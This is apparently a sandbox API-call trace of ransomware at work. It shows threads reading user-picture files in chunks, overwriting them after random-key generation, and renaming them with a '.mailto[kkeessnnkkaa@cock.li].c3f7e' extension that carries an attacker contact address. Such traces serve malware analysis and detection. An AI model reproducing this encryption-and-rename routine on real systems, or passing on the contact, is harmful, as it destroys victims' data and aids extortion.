	[0085.423] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\fd1hvy.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1820
	[0085.423] GetFileSizeEx (in: hFile=0x1820, lpFileSize=0x1eb3f744 | out: lpFileSize=0x1eb3f744*=0) returned 1
	[0085.423] FlushFileBuffers (hFile=0x1820) returned 1
	[0092.579] CloseHandle (hObject=0x1820) returned 1
	[0092.579] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat", dwFileAttributes=0x20) returned 1
	[0092.580] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc590) returned 1

Thread:
	id = 846
	os_tid = 0x1318

	[0081.735] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp")) returned 0x20
	[0085.340] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp", dwFileAttributes=0x20) returned 1
	[0085.340] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15d0
	[0085.340] GetFileSizeEx (in: hFile=0x15d0, lpFileSize=0x1ebbf854 | out: lpFileSize=0x1ebbf854*=602168) returned 1
	[0085.340] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x93034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.340] ReadFile (in: hFile=0x15d0, lpBuffer=0x1ebbf7d8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ebbf7d4, lpOverlapped=0x0 | out: lpBuffer=0x1ebbf7d8*, lpNumberOfBytesRead=0x1ebbf7d4*=0x4, lpOverlapped=0x0) returned 1
	[0085.342] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0085.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0085.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0085.342] NtQuerySystemTime (in: CurrentTime=0x1ebbf7b4 | out: CurrentTime=0x1ebbf7b4*=132251868120785364) returned 0x0
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0xc3092deb
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x5f4709f2
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0xfd2e1a7c
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0xc115f3a7
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0xfc1ab132
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0xebd62066
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0xf1e08d86
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x55fa89c7
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0xf8a241f2
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x3f851535
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x1f5d3a85
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x63ed6c7d
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0xa9137a13
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x321858f3
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0xe1f57eab
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x9ee55693
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x6495ce9d
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x3630fcc7
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x3987a5de
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x2a7a1051
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x3fb7ada2
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x2b9b975c
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x427e4a94
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0xfb1d67df
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x8b8388ac
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0xc4f22ee5
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x664a26ed
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x944ff8bd
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x8d51517d
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0xfb5c412a
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0x44501034
	[0085.342] RtlRandom (in: Seed=0x1ebbf7c0 | out: Seed=0x1ebbf7c0) returned 0xc2bca33b
	[0085.351] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.351] ReadFile (in: hFile=0x15d0, lpBuffer=0x4fff008, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1ebbf76c, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesRead=0x1ebbf76c*=0xc800, lpOverlapped=0x0) returned 1
	[0085.353] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb1e0
	[0085.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0085.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0085.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0085.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47cf020
	[0085.355] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0085.355] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0085.355] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0085.355] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.355] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0085.355] WriteFile (in: hFile=0x15d0, lpBuffer=0x47cf020*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1ebbf76c, lpOverlapped=0x0 | out: lpBuffer=0x47cf020*, lpNumberOfBytesWritten=0x1ebbf76c*=0xc800, lpOverlapped=0x0) returned 1
	[0085.361] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf020) returned 1
	[0085.361] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.361] ReadFile (in: hFile=0x15d0, lpBuffer=0x4fff008, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1ebbf76c, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesRead=0x1ebbf76c*=0xc800, lpOverlapped=0x0) returned 1
	[0085.363] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0085.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e044c8
	[0085.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0085.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0085.364] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47cf020
	[0085.364] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0085.364] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0085.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0085.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0085.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0085.365] WriteFile (in: hFile=0x15d0, lpBuffer=0x47cf020*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1ebbf76c, lpOverlapped=0x0 | out: lpBuffer=0x47cf020*, lpNumberOfBytesWritten=0x1ebbf76c*=0xc800, lpOverlapped=0x0) returned 1
	[0085.366] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf020) returned 1
	[0085.366] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x86838, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.366] ReadFile (in: hFile=0x15d0, lpBuffer=0x4fff008, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1ebbf76c, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesRead=0x1ebbf76c*=0xc800, lpOverlapped=0x0) returned 1
	[0085.367] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x86838, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0085.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0085.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0085.367] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0085.368] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47cf020
	[0085.368] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0085.368] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0085.368] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0085.368] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.368] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0085.369] WriteFile (in: hFile=0x15d0, lpBuffer=0x47cf020*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1ebbf76c, lpOverlapped=0x0 | out: lpBuffer=0x47cf020*, lpNumberOfBytesWritten=0x1ebbf76c*=0xc800, lpOverlapped=0x0) returned 1
	[0087.188] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf020) returned 1
	[0087.199] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4734088
	[0087.199] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0087.199] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0087.199] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0087.199] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0087.201] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1f) returned 0x4781468
	[0087.201] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0087.201] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82a18
	[0087.201] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0087.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0087.201] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1f) returned 0x4781738
	[0087.201] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0087.201] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0087.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0087.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0087.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0087.201] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x143) returned 0x498ed90
	[0087.201] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.201] WriteFile (in: hFile=0x15d0, lpBuffer=0x498ed90*, nNumberOfBytesToWrite=0x143, lpNumberOfBytesWritten=0x1ebbf814, lpOverlapped=0x0 | out: lpBuffer=0x498ed90*, lpNumberOfBytesWritten=0x1ebbf814*=0x143, lpOverlapped=0x0) returned 1
	[0087.205] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0087.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0087.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0087.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0087.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734088) returned 1
	[0087.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0087.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0087.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817d8) returned 1
	[0087.206] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2c1e0
	[0087.206] wcscpy (in: _Dest=0x4f2c1e0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp"
	[0087.206] wcscat (in: _Dest=0x4f2c1e0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.206] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1ebbf7cc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.206] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477ca40
	[0087.206] NtSetInformationFile (FileHandle=0x15d0, IoStatusBlock=0x1ebbf7c4, FileInformation=0x477ca40, Length=0xce, FileInformationClass=0xa) returned 0x0
	[0087.207] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ca40) returned 1
	[0087.207] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49256a8) returned 1
	[0087.207] NtQueryInformationFile (in: FileHandle=0x15d0, IoStatusBlock=0x1ebbf7d8, FileInformation=0x1ebbf7b0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1ebbf7d8, FileInformation=0x1ebbf7b0) returned 0x0
	[0087.207] NtSetInformationFile (FileHandle=0x15d0, IoStatusBlock=0x1ebbf7d8, FileInformation=0x1ebbf7b0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.208] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c1e0) returned 1
	[0087.208] FlushFileBuffers (hFile=0x15d0) returned 1
	[0093.112] CloseHandle (hObject=0x15d0) 

Thread:
	id = 847
	os_tid = 0x130c

	[0082.031] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png")) returned 0x20
	[0085.430] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png", dwFileAttributes=0x20) returned 1
	[0085.430] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15cc
	[0085.430] GetFileSizeEx (in: hFile=0x15cc, lpFileSize=0x1ec3fe7c | out: lpFileSize=0x1ec3fe7c*=5400) returned 1
	[0085.430] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.430] ReadFile (in: hFile=0x15cc, lpBuffer=0x1ec3fe00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ec3fdfc, lpOverlapped=0x0 | out: lpBuffer=0x1ec3fe00*, lpNumberOfBytesRead=0x1ec3fdfc*=0x4, lpOverlapped=0x0) returned 1
	[0085.432] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.432] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.432] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0085.432] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0085.432] NtQuerySystemTime (in: CurrentTime=0x1ec3fddc | out: CurrentTime=0x1ec3fddc*=132251868121712996) returned 0x0
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0xe1d6613d
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0xad1e8582
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x705c2dbc
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x74108609
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0xa0194c12
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x758c3231
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x6806480d
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x89d6f100
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x728b3fb8
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0xaffdf987
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0xf9f42c7d
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0xe1e5482e
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x101ddb6b
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0xbd9c554f
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x4f706ea2
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0xdf7f95c
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0xa1e2c3ae
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x65eba087
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0xefa7a6c1
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x626d0efd
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0xa6622af1
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x89e54e25
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x5f64e72b
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x804de07f
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0xe9dfd34b
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x18e5f004
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x62736474
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x871f9950
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x8ecc9663
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0xd9d60a61
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0x23f7889b
	[0085.432] RtlRandom (in: Seed=0x1ec3fde8 | out: Seed=0x1ec3fde8) returned 0xb26f4857
	[0085.441] ReadFile (in: hFile=0x15cc, lpBuffer=0x47db828, nNumberOfBytesToRead=0x1518, lpNumberOfBytesRead=0x1ec3fdd8, lpOverlapped=0x0 | out: lpBuffer=0x47db828*, lpNumberOfBytesRead=0x1ec3fdd8*=0x1518, lpOverlapped=0x0) returned 1
	[0085.442] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.442] WriteFile (in: hFile=0x15cc, lpBuffer=0x500d818*, nNumberOfBytesToWrite=0x1518, lpNumberOfBytesWritten=0x1ec3fdd4, lpOverlapped=0x0 | out: lpBuffer=0x500d818*, lpNumberOfBytesWritten=0x1ec3fdd4*=0x1518, lpOverlapped=0x0) returned 1
	[0085.444] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.444] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0085.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0085.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d818) returned 1
	[0085.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47db828) returned 1
	[0085.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0085.444] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1f) returned 0x47819e0
	[0085.444] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.444] WriteFile (in: hFile=0x15cc, lpBuffer=0x500cbe8*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x1ec3fe3c, lpOverlapped=0x0 | out: lpBuffer=0x500cbe8*, lpNumberOfBytesWritten=0x1ec3fe3c*=0x103, lpOverlapped=0x0) returned 1
	[0085.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500cbe8) returned 1
	[0085.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818a0) returned 1
	[0085.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a08) returned 1
	[0085.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819e0) returned 1
	[0085.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0085.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0085.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0085.445] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2dc20
	[0085.446] wcscpy (in: _Dest=0x4f2dc20, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png"
	[0085.446] wcscat (in: _Dest=0x4f2dc20, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.446] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1ec3fdf4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.446] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477d028
